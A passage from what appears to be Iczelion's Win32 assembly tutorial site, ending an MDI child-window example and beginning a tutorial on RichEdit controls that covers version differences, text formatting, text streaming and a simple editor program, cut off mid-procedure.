WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU 	equ 101
IDR_CHILDMENU	equ 102
IDM_EXIT 		equ 40001
IDM_TILEHORZ	equ 40002
IDM_TILEVERT	equ 40003
IDM_CASCADE	equ 40004
IDM_NEW 		equ 40005
IDM_CLOSE	equ 40006

.data
ClassName 	db "MDIASMClass",0
MDIClientName	db "MDICLIENT",0
MDIChildClassName	db "Win32asmMDIChild",0
MDIChildTitle	db "MDI Child",0
AppName		db "Win32asm MDI Demo",0
ClosePromptMessage	db "Are you sure you want to close this window?",0

.data?
hInstance 	dd ?
hMainMenu 	dd ?
hwndClient 	dd ?
hChildMenu 	dd ?
mdicreate		MDICREATESTRUCT <>
hwndFrame 	dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    ;=============================================
    ; Register the frame window class
    ;=============================================
    mov wc.cbSize,SIZEOF WNDCLASSEX
    mov wc.style, CS_HREDRAW or CS_VREDRAW
    mov wc.lpfnWndProc,OFFSET WndProc
    mov wc.cbClsExtra,NULL
    mov wc.cbWndExtra,NULL
    push hInstance
    pop wc.hInstance
    mov wc.hbrBackground,COLOR_APPWORKSPACE
    mov wc.lpszMenuName,IDR_MAINMENU
    mov wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov wc.hIcon,eax
    mov wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    ;================================================
    ; Register the MDI child window class
    ;================================================
    mov wc.lpfnWndProc,offset ChildProc
    mov wc.hbrBackground,COLOR_WINDOW+1
    mov wc.lpszClassName,offset MDIChildClassName
    invoke RegisterClassEx,addr wc
    invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
            WS_OVERLAPPEDWINDOW or WS_CLIPCHILDREN,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,0,\
            hInst,NULL
    mov hwndFrame,eax
    invoke LoadMenu,hInstance, IDR_CHILDMENU
    mov hChildMenu,eax
    invoke ShowWindow,hwndFrame,SW_SHOWNORMAL
    invoke UpdateWindow, hwndFrame
    .while TRUE
        invoke GetMessage,ADDR msg,NULL,0,0
        .break .if (!eax)
        invoke TranslateMDISysAccel,hwndClient,addr msg
        .if !eax
            invoke TranslateMessage, ADDR msg
            invoke DispatchMessage, ADDR msg
        .endif
    .endw
    invoke DestroyMenu, hChildMenu
    mov eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    LOCAL ClientStruct:CLIENTCREATESTRUCT
    .if uMsg==WM_CREATE
        invoke GetMenu,hWnd
        mov hMainMenu,eax
        invoke GetSubMenu,hMainMenu,1
        mov ClientStruct.hWindowMenu,eax
        mov ClientStruct.idFirstChild,100
        INVOKE CreateWindowEx,NULL,ADDR MDIClientName,NULL,\
                WS_CHILD or WS_VISIBLE or WS_CLIPCHILDREN,CW_USEDEFAULT,\
                CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,NULL,\
                hInstance,addr ClientStruct
        mov hwndClient,eax
        ;=======================================
        ; Initialize the MDICREATESTRUCT
        ;=======================================
        mov mdicreate.szClass,offset MDIChildClassName
        mov mdicreate.szTitle,offset MDIChildTitle
        push hInstance
        pop mdicreate.hOwner
        mov mdicreate.x,CW_USEDEFAULT
        mov mdicreate.y,CW_USEDEFAULT
        mov mdicreate.lx,CW_USEDEFAULT
        mov mdicreate.ly,CW_USEDEFAULT
    .elseif uMsg==WM_COMMAND
        .if lParam==0
            mov eax,wParam
            .if ax==IDM_EXIT
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDM_TILEHORZ
                invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_HORIZONTAL,0
            .elseif ax==IDM_TILEVERT
                invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_VERTICAL,0
            .elseif ax==IDM_CASCADE
                invoke SendMessage,hwndClient,WM_MDICASCADE,MDITILE_SKIPDISABLED,0
            .elseif ax==IDM_NEW
                invoke SendMessage,hwndClient,WM_MDICREATE,0,addr mdicreate
            .elseif ax==IDM_CLOSE
                invoke SendMessage,hwndClient,WM_MDIGETACTIVE,0,0
                invoke SendMessage,eax,WM_CLOSE,0,0
            .else
                invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
                ret
            .endif
        .endif
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

ChildProc proc hChild:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_MDIACTIVATE
        mov eax,lParam
        .if eax==hChild
            invoke GetSubMenu,hChildMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hChildMenu,edx
        .else
            invoke GetSubMenu,hMainMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hMainMenu,edx
        .endif
        invoke DrawMenuBar,hwndFrame
    .elseif uMsg==WM_CLOSE
        invoke MessageBox,hChild,addr ClosePromptMessage,addr AppName,MB_YESNO
        .if eax==IDYES
            invoke SendMessage,hwndClient,WM_MDIDESTROY,hChild,0
        .endif
    .else
        invoke DefMDIChildProc,hChild,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
ChildProc endp
end start

Analysis:

The first thing the program does is to register the window classes of the frame window and the MDI child window. After that, it calls CreateWindowEx to create the frame window. Within the WM_CREATE handler of the frame window, we create the client window:

    LOCAL ClientStruct:CLIENTCREATESTRUCT
    .if uMsg==WM_CREATE
        invoke GetMenu,hWnd
        mov hMainMenu,eax
        invoke GetSubMenu,hMainMenu,1
        mov ClientStruct.hWindowMenu,eax
        mov ClientStruct.idFirstChild,100
        invoke CreateWindowEx,NULL,ADDR MDIClientName,NULL,\
            WS_CHILD or WS_VISIBLE or WS_CLIPCHILDREN,CW_USEDEFAULT,\
            CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,NULL,\
            hInstance,addr ClientStruct
        mov hwndClient,eax

It calls GetMenu to obtain the handle to the menu of the frame window, to be used in the GetSubMenu call. Note that we pass the value 1 to GetSubMenu because the submenu we want the window list to appear is the second submenu. Then we fill the members of the CLIENTCREATESTRUCT structure.
Next, we initialize the MDICLIENTSTRUCT structure. Note that we don't need to do it here. It's only convenient to do it in WM_CREATE.

    mov mdicreate.szClass,offset MDIChildClassName
    mov mdicreate.szTitle,offset MDIChildTitle
    push hInstance
    pop mdicreate.hOwner
    mov mdicreate.x,CW_USEDEFAULT
    mov mdicreate.y,CW_USEDEFAULT
    mov mdicreate.lx,CW_USEDEFAULT
    mov mdicreate.ly,CW_USEDEFAULT

After the frame window is created (and also the client window), we call LoadMenu to load the child window menu from the resource. We need to get this menu handle so we can replace the menu of the frame window with it when an MDI child window is present. Don't forget to call DestroyMenu on the handle before the application exits to Windows. Normally Windows will free the menu associated with a window automatically when the application exits but in this case, the child window menu is not associated with any window thus it will still occupy valuable memory even after the application exits.

    invoke LoadMenu,hInstance, IDR_CHILDMENU
    mov hChildMenu,eax
    ........
    invoke DestroyMenu, hChildMenu

Within the message loop, we call TranslateMDISysAccel.

    .while TRUE
        invoke GetMessage,ADDR msg,NULL,0,0
        .break .if (!eax)
        invoke TranslateMDISysAccel,hwndClient,addr msg
        .if !eax
            invoke TranslateMessage, ADDR msg
            invoke DispatchMessage, ADDR msg
        .endif
    .endw

If TranslateMDISysAccel returns a non-zero value, it means the message was already handled by Windows itself so you don't need to do anything to the message. If it returns 0, the message is not MDI-related and thus should be handled as usual.

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .....
    .else
        invoke DefFrameProc,hWnd,hwndClient,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

Note that within the window procedure of the frame window, we call DefFrameProc to handle the messages we are not interested in.

The bulk of the window procedure is the WM_COMMAND handler. When the user selects "New" from the File menu, we create a new MDI child window.

    .elseif ax==IDM_NEW
        invoke SendMessage,hwndClient,WM_MDICREATE,0,addr mdicreate

In our example, we create the MDI child window by sending WM_MDICREATE to the client window, passing the address of the MDICREATESTRUCT structure in lParam.

ChildProc proc hChild:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_MDIACTIVATE
        mov eax,lParam
        .if eax==hChild
            invoke GetSubMenu,hChildMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hChildMenu,edx
        .else
            invoke GetSubMenu,hMainMenu,1
            mov edx,eax
            invoke SendMessage,hwndClient,WM_MDISETMENU,hMainMenu,edx
        .endif
        invoke DrawMenuBar,hwndFrame

When the MDI child window is created, it monitors WM_MDIACTIVATE to see if it's the active window. It does this by comparing the value of the lParam which contains the handle of the active child window with its own handle. If they match, it's the active window and the next step is to replace the menu of the frame window to its own. Since the original menu will be replaced, you have to tell Windows again in which submenu the window list should appear. That's why we must call GetSubMenu again to retrieve the handle to the submenu. We send WM_MDISETMENU message to the client window to achieve the desired result. wParam of WM_MDISETMENU contains the handle of the menu you would like to replace the original menu. lParam contains the handle of the submenu you want the window list to appear. Right after sending WM_MDISETMENU, we call DrawMenuBar to refresh the menu else your menu will be a mess.

    .else
        invoke DefMDIChildProc,hChild,uMsg,wParam,lParam
        ret
    .endif
Within the window procedure of the MDI    child window, you must pass all unhandled messages to DefMDIChildProc    instead of DefWindowProc.
    .elseif ax==IDM_TILEHORZ
        invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_HORIZONTAL,0
    .elseif ax==IDM_TILEVERT
        invoke SendMessage,hwndClient,WM_MDITILE,MDITILE_VERTICAL,0
    .elseif ax==IDM_CASCADE
        invoke SendMessage,hwndClient,WM_MDICASCADE,MDITILE_SKIPDISABLED,0

When the user selects one of the menuitems in the window submenu, we send the corresponding message to the client window. If the user chooses to tile the windows, we send WM_MDITILE to the client window, specifying in wParam what kind of tiling we want. WM_CASCADE is similar.

    .elseif ax==IDM_CLOSE
        invoke SendMessage,hwndClient,WM_MDIGETACTIVE,0,0
        invoke SendMessage,eax,WM_CLOSE,0,0
If the user chooses "Close"    menuitem, we must obtain the handle of the currently active MDI child window    first by sending WM_MDIGETACTIVE to the client window. The return value in eax    is the handle of the currently active MDI child window. After that, we send    WM_CLOSE to that window.
    .elseif uMsg==WM_CLOSE
        invoke MessageBox,hChild,addr ClosePromptMessage,addr AppName,MB_YESNO
        .if eax==IDYES
            invoke SendMessage,hwndClient,WM_MDIDESTROY,hChild,0
        .endif

Within the window procedure of the MDI child, when WM_CLOSE is received, it displays a message box asking the user if he really wants to close the window. If the answer is yes, we send WM_MDIDESTROY to the client window. WM_MDIDESTROY closes the MDI child window and restores the title of the frame window.

[Iczelion's Win32 Assembly Homepage]


Iczelion's Win32 Assembly Tutorial 33: RichEdit Control: Basics

Tutorial 33: RichEdit Control: Basics

There are lots of request on tutorials about RichEdit controls. Finally I have played with it enough to think I can write tutorials about it. So here it is: the first RichEdit tutorial. The tutorials will describe nearly everything there is to know about RichEdit control or at least as much as I know it. The amount of information is rather large so I divide it into several parts, this tutorial being the first part. In this tutorial, you'll learn what a RichEdit control is, how to create it and how to load/save data to/from it.

Download the example.

Theory

A richedit control can be thought of as a souped-up edit control. It provides many desirable features that are lacking from the plain simple edit control, for example, the ability to use multiple font face/size, multiple-level undo/redo, search-for-text operation, OLE-embedded objects, drag-and-drop editing support, etc. Since the richedit control has so many features, it's stored in a separate DLL. This also means that, to use it, you can't just call InitCommonControls like other common controls. You have to call LoadLibrary to load the richedit DLL.

The problem is that there are three versions of richedit control up till now. Version 1,2, and 3. The table below shows you the name of the DLL for each version.

DLL Name | RichEdit version | Richedit Class Name
Riched32.dll | 1.0 | RICHEDIT
RichEd20.dll | 2.0 | RICHEDIT20A
RichEd20.dll | 3.0 | RICHEDIT20A

You can notice that richedit version 2 and 3 use the same DLL name. They also use the same class name! This can pose a problem if you want to use specific features of richedit 3.0. Up to now, I haven't found an official method of differentiating between version 2.0 and 3.0. However, there is a workaround which works ok, I'll show you later.

.data
   RichEditDLL db "RichEd20.dll",0
    .....
.data?
    hRichEditDLL dd ?
.code
    invoke LoadLibrary,addr RichEditDLL
    mov hRichEditDLL,eax
    ......
    invoke FreeLibrary,hRichEditDLL

When the richedit dll is loaded, it registers the RichEdit window class. Thus it's imperative that you load the DLL before you create the control. The names of the richedit control classes are also different. Now you may have a question: how do I know which version of richedit control should I use? Using the latest version is not always appropriate if you don't require the extra features. So below is the table that shows the features provided by each version of richedit control.

Feature | Version 1.0 | Version 2.0 | Version 3.0
selection bar | x | x | x
unicode editing |  | x | x
character/paragraph formatting | x | x | x
search for text | forward | forward/backward | forward/backward
OLE embedding | x | x | x
Drag and drop editing | x | x | x
Undo/Redo | single-level | multi-level | multi-level
automatic URL recognition |  | x | x
Accelerator key support |  | x | x
Windowless operation |  | x | x
Line break | CRLF | CR only | CR only (can emulate version 1.0)
Zoom |  |  | x
Paragraph numbering |  |  | x
simple table |  |  | x
normal and heading styles |  |  | x
underline coloring |  |  | x
hidden text |  |  | x
font binding |  |  | x

The above table is by no means comprehensive: I only list the important features.

Creating the richedit control

After loading the richedit dll, you can call CreateWindowEx to create the control. You can use edit control styles and common window styles in CreateWindowEx except ES_LOWERCASE, ES_UPPERCASE and ES_OEMCONVERT.

.const
    RichEditID equ 300
.data
    RichEditDLL db "RichEd20.dll",0
    RichEditClass db "RichEdit20A",0
    ...
.data?
    hRichEditDLL dd ?
    hwndRichEdit dd ?
.code
    .....
    invoke LoadLibrary,addr RichEditDLL
    mov hRichEditDLL,eax
    invoke CreateWindowEx,0,addr RichEditClass,WS_VISIBLE or ES_MULTILINE or WS_CHILD or WS_VSCROLL or WS_HSCROLL, \
                                        CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,hWnd,RichEditID,hInstance,0
    mov hwndRichEdit,eax

Setting default text and background color

You may have the problem with setting text color and the background color of the edit control. But this problem has been remedy in richedit control. To set the background color of the richedit control, you send EM_SETBKGNDCOLOR to the richedit control. This message has the following syntax.

wParam == color option. The value of 0 in this parameter specifies that Windows uses the color value in lParam as the background color. If this value is nonzero, Windows uses the Windows system background color. Since we send this message to change the background color, we must pass 0 in wParam.
lParam == specifies the COLORREF structure of the color you want to set if wParam is 0.

For example, if I want to set the background color to pure blue, I would issue this following line:

        invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,0FF0000h

To set the text color, richedit control provides another new message, EM_SETCHARFORMAT, for the job. This message controls the text formatting of a range to characters in selection or all text in the control. This message has the following syntax:

wParam == formatting options:

SCF_ALL | The operation affects all text in the control.
SCF_SELECTION | The operation affects only the text in selection
SCF_WORD or SCF_SELECTION | Affects the word in selection. If the selection is empy, ie, only the caret is in the word, the operation affects that word. SCF_WORD flag must be used with SCF_SELECTION.

lParam == pointer to a CHARFORMAT or CHARFORMAT2 structure that specifies the text formatting to be applied. CHARFORMAT2 is available for richedit 2.0 and above only. This doesn't mean that you must use CHARFORMAT2 with RichEdit 2.0 or above. You can still use CHARFORMAT if the added features in CHARFORMAT2 are not necessary for your need.

CHARFORMATA STRUCT
    cbSize DWORD ?
    dwMask DWORD ?
    dwEffects DWORD    ?
    yHeight DWORD ?
    yOffset DWORD ?
    crTextColor COLORREF ?
    bCharSet BYTE ?
    bPitchAndFamily    BYTE ?
    szFaceName BYTE LF_FACESIZE dup(?)
    _wPad2 WORD ?
CHARFORMATA ENDS
Field Name | Description
cbSize | The size of the structure. RichEdit control uses this field to determine the version of the structure whether it is CHARFORMAT or CHARFORMAT2
dwMask

Bit flags that determine which of the following members are valid.

CFM_BOLD | The CFE_BOLD value of the dwEffects member is valid
CFM_CHARSET | The bCharSet member is valid.
CFM_COLOR | The crTextColor member and the CFE_AUTOCOLOR value of the dwEffects member are valid
CFM_FACE | The szFaceName member is valid.
CFM_ITALIC | The CFE_ITALIC value of the dwEffects member is valid
CFM_OFFSET | The yOffset member is valid
CFM_PROTECTED | The CFE_PROTECTED value of the dwEffects member is valid
CFM_SIZE | The yHeight member is valid
CFM_STRIKEOUT | The CFE_STRIKEOUT value of the dwEffects member is valid.
CFM_UNDERLINE | The CFE_UNDERLINE value of the dwEffects member is valid
dwEffects

The character effects. Can be the combination of the following values

CFE_AUTOCOLOR | Use the system text color
CFE_BOLD | Characters are bold
CFE_ITALIC | Characters are italic
CFE_STRIKEOUT | Characters are struck.
CFE_UNDERLINE | Characters are underlined
CFE_PROTECTED | Characters are protected; an attempt to modify them will cause an EN_PROTECTED notification message.
yHeight | Character height, in twips (1/1440 of an inch or 1/20 of a printer's point).
yOffset | Character offset, in twips, from the baseline. If the value of this member is positive, the character is a superscript; if it is negative, the character is a subscript.
crTextColor | Text color. This member is ignored if the CFE_AUTOCOLOR character effect is specified.
bCharSet | Character set value
bPitchAndFamily | Font family and pitch.
szFaceName | Null-terminated character array specifying the font name
_wPad2 | Padding

From examination of the structure, you'll see that we can change the text effects (bold,italic, strikeout,underline), text color (crTextColor) and font face/size/character set. A notable flag is CFE_RPOTECTED. The text with this flag is marked as protected which means that when the user tries to modify it, EN_PROTECTED notification message will be sent to the parent window. And you can allow the change to happen or not.

CHARFORMAT2 adds more text styles such as font weight, spacing,text background color, kerning, etc. If you don't need these extra features, simply use CHARFORMAT.

To set text formatting, you have to think about the range of text you want to apply to. Richedit control introduces the notion of character text range. Richedit control gives each character a number starting from 0: the first characterin the control has Id of 0, the second character 1 and so on. To specify a text range, you must give the richedit control two numbers: the IDs of the first and the last character of the range. To apply the text formatting with EM_SETCHARFORMAT, you have at most three choices:

  1. Apply to all text in the control (SCF_ALL)
  2. Apply to the text currently in selection (SCF_SELECTION)
  3. Apply to the whole word currently in selection (SCF_WORD or SCF_SELECTION)

The first and the second choices are straightforward. The last choice requires a little explanation. If the current selection only covers one or more of the characters in the word but not the whole word, specifying the flag SCF_WORD+SCF_SELECTION applies the text formatting to the whole word. Even if there is no current selection, ie, only the caret is positioned in the word, the third choice also applies the text formatting to the whole word.

To use EM_SETCHARFORMAT, you need to fill several members of CHARFORMAT (or CHARFORMAT2) structure. For example, if we want to set the text color, we will fill the CHARFORMAT structure as follows:

.data?
    cf CHARFORMAT <>
....
.code
    mov cf.cbSize,sizeof cf
    mov cf.dwMask,CFM_COLOR
    mov cf.crTextColor,0FF0000h
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cf

The above code snippet sets the text color of the richedit control to pure blue. Note that if there is no text in the richedit control when EM_SETCHARFORMAT is issued, the text entered into the richedit control following the message will use the text formatting specified by the EM_SETCHARFORMAT message.

Setting the text/saving the text

For those of you who are used to edit control, you'll surely be familiar with WM_GETTEXT/WM_SETTEXT as the means to set the text/get the text to/from the control. This method still works with richedit control but may not be efficient if the file is large. Edit control limits the text that can be entered into it to 64K but richedit control can accept text much larger than that. It would be very cumbersome to allocate a very large block of memory (such as 10 MB or so) to receive the text from WM_GETTEXT. Richedit control offers a new approach to this method, ie. text streaming.

To put it simply, you provide the address of a callback function to the richedit control. And richedit control will call that callback, passing the address of the buffer to it, when it's ready. The callback will fill the buffer with the data it wants to send to the control or read the data from the buffer and then waits for the next call until the operation is finished. This paradigm is used for both streaming in (setting the text) and streaming out (getting the text out of the control). You'll see that this method is more efficient: the buffer is provided by the richedit control itself so the data are divided into chunks. The operations involve two messages: EM_STREAMIN and EM_STREAMOUT

Both EM_STREAMIN and EM_STREAMOUT use the same syntax:

wParam == formatting options.

SF_RTF | The data is in the rich-text format (RTF)
SF_TEXT | The data is in the plain text format
SFF_PLAINRTF | Only the keywords common to all languages are streamed in.
SFF_SELECTION | If specified, the target of the operation is the text currently in selection. If you stream the text in, the text replaces the current selection. If you stream the text out, only the text currently in selection is streamed out. If this flag is not specified, the operation affects the whole text in the control.
SF_UNICODE | (Available on RichEdit 2.0 or later) Specify the unicode text.

lParam == point to an EDITSTREAM structure which has the following definition:

 EDITSTREAM STRUCT
    dwCookie DWORD    ?
    dwError DWORD ?
    pfnCallback DWORD ?
EDITSTREAM ENDS
dwCookie | application-defined value that will be passed to the callback function speficied in pfnCallback member below. We normally pass some important value to the callback function such as the file handle to use in the stream-in/out procedure.
dwError | Indicates the results of the stream-in (read) or stream-out (write) operation. A value of zero indicates no error. A nonzero value can be the return value of the EditStreamCallback function or a code indicating that the control encountered an error.
pfnCallback | Pointer to an EditStreamCallback function, which is an application-defined function that the control calls to transfer data. The control calls the callback function repeatedly, transferring a portion of the data with each call

The editstream callback function has the following definition:

    EditStreamCallback proto dwCookie:DWORD,
                 pBuffer:DWORD,
                 NumBytes:DWORD,
                 pBytesTransferred:DWORD

You have to create a function with the above prototype in your program. And then pass its address to EM_STREAMIN or EM_STREAMOUT via EDITSTREAM structure.

For stream-in operation (settting the text in the richedit control):

    dwCookie: the application-defined value you pass to EM_STREAMIN via EDITSTREAM structure. We almost always
        pass the file handle of the file we want to set its content to the control here.
    pBuffer: points to the buffer provided by the richedit control that will receive the text from your callback function.
    NumBytes: the maximum number of bytes you can write the the buffer (pBuffer) in this call. You MUST always obey this limit, ie, you can send
        less data than the value in NumBytes but must not send more data than this value. You can think of this value as the size
        of the buffer in pBuffer.
   pBytesTransferred: points to a dword that you must set the value indicating the number of bytes you actually transferred to the buffer.
        This value is usually identical to the value in NumBytes. The exception is when the data is to send is less than
        the size of the buffer provided such as when the end of file is reached.

For stream-out operation (getting the text out of the richedit control):

    dwCookie: Same as the stream-in operation. We usually pass the file handle we want to write the data to in this parameter.
    pBuffer: points to the buffer provided by the richedit control that is filled with the data from the richedit control.
        To obtain its size, you must examine the value of NumBytes.
    NumBytes: the size of the data in the buffer pointed to by pBuffer.
    pBytesTransferred: points to a dword that you must set the value indicating the number of bytes you actually read from the buffer.

The callback function returns 0 to indicate success and richedit control will continue calling the callback function if there is still data left to read/write. If some error occurs during the process and you want to stop the operation, returns a non-zero value and the richedit control will discard the data pointed to by pBuffer. The error/success value will be filled in the dwError field of EDITSTREAM so you can examine the error/success status of the stream operation after SendMessage returns.

Example:

The example below is a simple editor which you can open an asm source code file, edit and save it. It uses RichEdit control version 2.0 or above.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU                   equ 101
IDM_OPEN                      equ  40001
IDM_SAVE                       equ 40002
IDM_CLOSE                      equ 40003
IDM_SAVEAS                     equ 40004
IDM_EXIT                       equ 40005
IDM_COPY                      equ  40006
IDM_CUT                       equ  40007
IDM_PASTE                      equ 40008
IDM_DELETE                     equ 40009
IDM_SELECTALL                  equ 40010
IDM_OPTION 			equ 40011
IDM_UNDO			equ 40012
IDM_REDO			equ 40013
IDD_OPTIONDLG                  equ 101
IDC_BACKCOLORBOX               equ 1000
IDC_TEXTCOLORBOX               equ 1001

RichEditID 			equ 300

.data
ClassName db "IczEditClass",0
AppName  db "IczEdit version 1.0",0
RichEditDLL db "riched20.dll",0
RichEditClass db "RichEdit20A",0
NoRichEdit db "Cannot find riched20.dll",0
ASMFilterString 		db "ASM Source code (*.asm)",0,"*.asm",0
                db "All Files (*.*)",0,"*.*",0,0
OpenFileFail db "Cannot open the file",0
WannaSave db "The data in the control is modified. Want to save it?",0
FileOpened dd FALSE
BackgroundColor dd 0FFFFFFh		; default to white
TextColor dd 0		; default to black

.data?
hInstance dd ?
hRichEdit dd ?
hwndRichEdit dd ?
FileName db 256 dup(?)
AlternateFileName db 256 dup(?)
CustomColors dd 16 dup(?)

.code
start:
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke LoadLibrary,addr RichEditDLL
    .if eax!=0
        mov hRichEdit,eax
        invoke WinMain, hInstance,0,0, SW_SHOWDEFAULT
        invoke FreeLibrary,hRichEdit
    .else
        invoke MessageBox,0,addr NoRichEdit,addr AppName,MB_OK or MB_ICONERROR
    .endif
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:DWORD
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,IDR_MAINMENU
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
           WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
           CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,SW_SHOWNORMAL
    invoke UpdateWindow, hwnd
    .while TRUE
        invoke GetMessage, ADDR msg,0,0,0
        .break .if (!eax)
        invoke TranslateMessage, ADDR msg
        invoke DispatchMessage, ADDR msg
    .endw
    mov   eax,msg.wParam
    ret
WinMain endp

StreamInProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesRead:DWORD
    invoke ReadFile,hFile,pBuffer,NumBytes,pBytesRead,0
    xor eax,1
    ret
StreamInProc endp

StreamOutProc proc hFile:DWORD,pBuffer:DWORD, NumBytes:DWORD, pBytesWritten:DWORD
    invoke WriteFile,hFile,pBuffer,NumBytes,pBytesWritten,0
    xor eax,1
    ret
StreamOutProc endp

CheckModifyState proc hWnd:DWORD
    invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
    .if eax!=0
        invoke MessageBox,hWnd,addr WannaSave,addr AppName,MB_YESNOCANCEL
        .if eax==IDYES
            invoke SendMessage,hWnd,WM_COMMAND,IDM_SAVE,0
        .elseif eax==IDCANCEL
            mov eax,FALSE
            ret
        .endif
    .endif
    mov eax,TRUE
    ret
CheckModifyState endp

SetColor proc
    LOCAL cfm:CHARFORMAT
    invoke SendMessage,hwndRichEdit,EM_SETBKGNDCOLOR,0,BackgroundColor
    invoke RtlZeroMemory,addr cfm,sizeof cfm
    mov cfm.cbSize,sizeof cfm
    mov cfm.dwMask,CFM_COLOR
    push TextColor
    pop cfm.crTextColor
    invoke SendMessage,hwndRichEdit,EM_SETCHARFORMAT,SCF_ALL,addr cfm
    ret
SetColor endp

OptionProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    LOCAL clr:CHOOSECOLOR
    .if uMsg==WM_INITDIALOG
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        shr eax,16
        .if ax==BN_CLICKED
            mov eax,wParam
            .if ax==IDCANCEL
                invoke SendMessage,hWnd,WM_CLOSE,0,0
            .elseif ax==IDC_BACKCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push BackgroundColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop BackgroundColor
                    invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDC_TEXTCOLORBOX
                invoke RtlZeroMemory,addr clr,sizeof clr
                mov clr.lStructSize,sizeof clr
                push hWnd
                pop clr.hwndOwner
                push hInstance
                pop clr.hInstance
                push TextColor
                pop clr.rgbResult
                mov clr.lpCustColors,offset CustomColors
                mov clr.Flags,CC_ANYCOLOR or CC_RGBINIT
                invoke ChooseColor,addr clr
                .if eax!=0
                    push clr.rgbResult
                    pop TextColor
                    invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
                    invoke InvalidateRect,eax,0,TRUE
                .endif
            .elseif ax==IDOK
                ;==================================================================================
                ; Save the modify state of the richedit control because changing the text color changes the
                ; modify state of the richedit control.
                ;==================================================================================
                invoke SendMessage,hwndRichEdit,EM_GETMODIFY,0,0
                push eax
                invoke SetColor
                pop eax
                invoke SendMessage,hwndRichEdit,EM_SETMODIFY,eax,0
                invoke EndDialog,hWnd,0
            .endif
        .endif
    .elseif uMsg==WM_CTLCOLORSTATIC
        invoke GetDlgItem,hWnd,IDC_BACKCOLORBOX
        .if eax==lParam
            invoke CreateSolidBrush,BackgroundColor
            ret
        .else
            invoke GetDlgItem,hWnd,IDC_TEXTCOLORBOX
            .if eax==lParam
                invoke CreateSolidBrush,TextColor
                ret
            .endif
        .endif
        mov eax,FALSE
        ret
